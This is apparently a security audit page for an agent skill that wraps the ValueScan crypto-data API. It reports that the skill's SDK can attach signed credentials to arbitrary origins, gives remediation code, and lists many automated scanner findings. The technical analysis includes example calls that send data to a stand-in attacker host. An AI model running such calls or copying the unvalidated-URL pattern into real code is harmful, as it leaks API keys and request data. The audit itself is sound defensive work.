Back to skill

Security audit

valuescan-skill

Security checks for vulnerabilities and agentic risk

Overview

The skill is a mostly coherent ValueScan crypto-data integration, but its included SDK can attach signed API credentials to a non-ValueScan URL if a caller passes an absolute path.

Review before installing. Use only if you trust ValueScan and are comfortable storing ValueScan API credentials locally; harden the SDK so signed headers are only sent to https://api.valuescan.io/api/open/v1 paths, and be aware that broad market-analysis prompts may trigger paid API requests. Treat outputs as financial data signals, not guaranteed trading advice.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
script/sdk/vs_api_sign.js:75
Finding

API credentials can be forwarded to an attacker-controlled origin

Content
View full analysis

Vulnerability Details

File Location: script/sdk/vs_api_sign.js:75-83
Vulnerability Type: Missing destination validation before attaching authentication headers
Risk Level: Medium

Vulnerable Code

javascript
const rawBody = typeof data === 'object' ? JSON.stringify(data) : data;
const fullUrl = new URL(path, BASE_URL).href;
const headers = buildSignHeader(rawBody);

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeout);

try {
    const response = await fetch(fullUrl, {
        method: 'POST',
        headers: headers,

Technical Analysis

The exported vsPost(path, data, timeout) function treats path as though it were a relative ValueScan API path, but it does not enforce that constraint. JavaScript's new URL(path, BASE_URL) accepts absolute and scheme-relative URLs. For example, either of the following values replaces the expected https://api.valuescan.io origin:

javascript
await vsPost('https://attacker.example/collect', sensitiveData);
await vsPost('//attacker.example/collect', sensitiveData);

Authentication headers are generated after resolving the URL but without checking its origin. The subsequent request therefore sends the following information to the resulting destination:

  • X-API-KEY
  • X-TIMESTAMP
  • X-SIGN
  • The complete request body

The ValueScan Secret Key is used locally to produce the HMAC and is not directly transmitted. Nevertheless, an attacker can obtain the API key and a valid time-limited signature for the captured request body. The SDK documentation states that the timestamp is accepted for five minutes, creating a potential replay window.

This behavior exceeds minimum privilege because ValueScan credentials should only be attached to requests whose destination has been validated as the intended ValueScan API origin.

Attack Path

  1. An attacker ...[truncated 1307 chars]
Remediation
View remediation

Remediation Suggestions

Enforce relative paths, reject scheme-relative paths, and verify the resolved origin before loading credentials or generating authentication headers:

javascript
const BASE_URL = 'https://api.valuescan.io';

async function vsPost(apiPath, data, timeout = 10000) {
    if (
        typeof apiPath !== 'string' ||
        !apiPath.startsWith('/') ||
        apiPath.startsWith('//')
    ) {
        throw new Error('Invalid ValueScan API path');
    }

    const url = new URL(apiPath, BASE_URL);

    if (url.origin !== BASE_URL) {
        throw new Error('Untrusted API origin');
    }

    if (!url.pathname.startsWith('/api/open/v1/')) {
        throw new Error('API path is outside the permitted namespace');
    }

    const rawBody =
        data !== null && typeof data === 'object'
            ? JSON.stringify(data)
            : data;

    const headers = buildSignHeader(rawBody);

    // Send the validated request.
}

Apply the following additional hardening:

  1. Maintain an allowlist of documented ValueScan endpoint paths rather than accepting arbitrary paths.
  2. Validate the destination before calling buildSignHeader() so credentials are not loaded unnecessarily.
  3. Ensure redirects cannot forward authentication headers to another origin. Prefer disabling redirects or validating every redirect destination.
  4. Validate that data is a JSON-compatible object or string before signing it.
  5. Add tests covering absolute URLs, scheme-relative URLs, alternate ports, malformed paths, and redirect behavior.
  6. Document that credential-bearing headers must never be sent to any origin other than https://api.valuescan.io.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (37)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill documents clear network/API capabilities but does not declare any explicit tool scope such as allowed-tools or permissions. This creates a least-privilege gap: an agent platform may permit broader tool use than intended, making unintended outbound access harder to constrain or audit.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The skill asks users to provide an API key and secret key for a third-party service but gives no warning about secure storage, non-disclosure, rotation, or the fact that these credentials will authorize external requests. Users may unknowingly expose sensitive credentials to the skill runtime, logs, or downstream services.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 160)May include surrounding context.

md
## 快速开始

**Base URL**: `https://api.valuescan.io/api/open/v1`

**认证**: HMAC-SHA256 签名

Whitespace Padding

Medium
Category
Prompt Injection
Confidence
70% confidence
Finding

Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Content

Scanner excerpt · SKILL.md (reported line 187)May include surrounding context.

md
## 核心参数

| 参数                 | 说明                                       | 获取方式                                                                                                                                                    |
| ------------------ | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `vsTokenId`        | 代币唯一标识                                   | 1. 调用 `/vs-token/list` 接口(参数 `search` 传代币符号如 `BTC`);2. 从返回数据的 `id` 字段获取;3. 示例:`{ "id": 1, "symbol": "BTC", "name": "Bitcoin" }` 中 `id=1` 即为 `vsTokenId` |
| `coinKey`          | 链上代币标识(格式: `{symbol}_{contractAddress}`) | 1. 先通过 `vsTokenId` 调用 `/vs-token/detail` 接口;2. 从返回的 `chainAddresses[].coinKey` 获取;3. 示例:`BTC` 返回 `"BTC_BTC"`,`ETH` 返回 `"ETH_0x..."`(原生代币无合约地址)          |

Whitespace Padding

Medium
Category
Prompt Injection
Confidence
70% confidence
Finding

Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.

Content

Scanner excerpt · SKILL.md (reported line 193)May include surrounding context.

md
| `coinKey`          | 链上代币标识(格式: `{symbol}_{contractAddress}`) | 1. 先通过 `vsTokenId` 调用 `/vs-token/detail` 接口;2. 从返回的 `chainAddresses[].coinKey` 获取;3. 示例:`BTC` 返回 `"BTC_BTC"`,`ETH` 返回 `"ETH_0x..."`(原生代币无合约地址)          |
| `address`          | 链上钱包地址                                   | 1. 调用 `持币地址` 接口获取某代币的持币地址列表;2. 或由用户直接提供;3. 格式为区块链标准地址(如 `0x...` 开头的以太坊地址)                                                                               |
| `timeParticleEnum` | 时间粒度编码                                   | 按分析周期选择:`5`=5分钟, `15`=15分钟, `101`=1小时, `104`=4小时, `124`=24小时, `201`=1天, `207`=7天, `230`=30天                                                             |
| `tradeType`        | 交易类型                                     | `1`=现货市场, `2`=合约/永续市场                                                                                                                                   |

### 参数获取示例

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

This is a JSON manifest file, so vague-trigger review applies. The note '无前置条件,可直接调用' ('no preconditions, can be called directly') provides an open-ended activation condition without any constraint, exclusion, or narrower invocation context, which can lead to unintended use of the skill.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This manifest uses Chinese for the skill name, description, and use-case text, which imposes a specific language on users without any opt-in or indication that the skill is intended only for a Chinese-speaking region. Under the policy, language constraints should either be optional for the user or clearly justified as region-specific.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The notes field maps very broad natural-language phrases such as '异动', '资金看涨', '上涨机会', and '看涨代币' to this specific endpoint. These phrases are common in ordinary market discussion, so the skill may activate or route queries unexpectedly, causing incorrect tool selection and over-broad data disclosure or misleading investment-oriented responses.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The notes describe invocation conditions in broad natural language, such as querying "abnormal tokens" or "abnormal signals," without clear guardrails, disambiguation rules, or strict preconditions. In an agent setting, this can cause over-broad tool invocation, unintended data access, or incorrect chaining with the related funds-movement token list API, especially when user prompts only loosely match the trigger phrases.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The manifest states that the language parameter defaults to zh-CN, which imposes a specific locale when the caller does not choose one. Under the policy, forcing a language without explicit user opt-in is a natural-language policy violation unless the locale restriction is clearly justified, which is not provided here.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The natural-language fields in the manifest, including the name, description, use case, and parameter descriptions, are all written in Chinese with no indication that the skill is intended only for Chinese-speaking users or that language selection is configurable. This can violate language/locale policy if the system serves a broader audience without explicit opt-in.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

This manifest uses Chinese for the skill name, description, and use-case text, which imposes a specific language on users without any visible opt-in or explanation. Under the language/locale policy, forcing a single language without user choice or a documented region-specific justification is a natural-language policy issue.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

This manifest contains user-facing natural-language fields such as name, description, use_case, parameter descriptions, and response descriptions entirely in Chinese. That can violate a language/locale policy when the skill does not provide user opt-in, alternate locales, or a justification that the skill is intentionally region-specific.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

This JSON defines many natural-language descriptions entirely in Chinese, including user-visible labels such as trade types, risk messages, and market descriptions. Because the file provides no indication that the skill is region-specific or that users can opt into this locale, it may violate the language/locale policy requiring choice or documented justification.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This manifest uses Chinese-only natural-language fields such as name, description, use_case, and parameter descriptions, which can impose a fixed language on users or downstream agents without opt-in. Under the policy, forcing a specific language without user choice or a documented justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The notes explicitly instruct that broad natural-language requests such as '主力分析' or unspecified '主力资金' queries should invoke this endpoint, which increases the chance of unintended activation from ambiguous user prompts. In a skill-routing context, overly permissive invocation guidance can cause the system to fetch financial data the user did not precisely request, leading to incorrect tool use, over-collection of data, and unreliable downstream analysis or trading guidance.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

This manifest contains user-facing natural-language fields such as name, description, use_case, and parameter descriptions entirely in Chinese. For a general skill definition, forcing a single language without opt-in or stating that the skill is intended only for Chinese-speaking users can violate language/locale policy requirements.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

This manifest contains user-facing descriptive fields such as name, description, use_case, update_frequency, and parameter descriptions exclusively in Chinese. Under the policy, forcing a specific language without user opt-in or justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The notes say that natural-language requests about market sentiment may trigger this endpoint, which is a broad activation rule for an agent skill. Overly broad activation can cause the agent to invoke the skill in unintended contexts, increasing the chance of unnecessary token use, irrelevant data retrieval, or incorrect market analysis being presented as grounded evidence.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
93% confidence
Finding

This JSON manifest contains user-facing name, description, and use-case text exclusively in Chinese, but does not state that the skill is region-specific or offer any language/locale choice. Under the policy for natural-language violations, forcing a specific language without user opt-in is a reportable issue.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

The invocation guidance is defined entirely through specific Chinese natural-language inputs, with no indication that other languages are supported or that the Chinese-only scope is an intentional locale restriction. This can be a language/locale policy concern because activation behavior appears tied to one language without user opt-in or documented justification.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

This manifest presents the skill name, description, and use case only in Chinese, with no indication that the skill is region-specific or that users may opt into another language. Under the language/locale policy, forcing a specific language without user choice or justification can be a natural-language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This manifest uses Chinese-only natural-language fields such as name, description, use_case, and field advice, which imposes a single language on users without any opt-in or alternative locale. The policy explicitly flags language or locale constraints when the skill forces a specific language without user choice.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

This manifest uses Chinese as the default language for the skill name, description, use case, and field descriptions, with no indication that users can choose another language or locale. Under the policy rule for natural-language violations, forcing a specific language without opt-in is a locale/language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

This manifest-like JSON uses Chinese for the name, description, parameter descriptions, and enum labels, which imposes a specific language on users. The file does not indicate that the skill is region-specific or offer any opt-in or alternative locale, matching the language/locale policy concern.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.exposed_secret_literal

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
script/sdk/vs_api_sign.js:48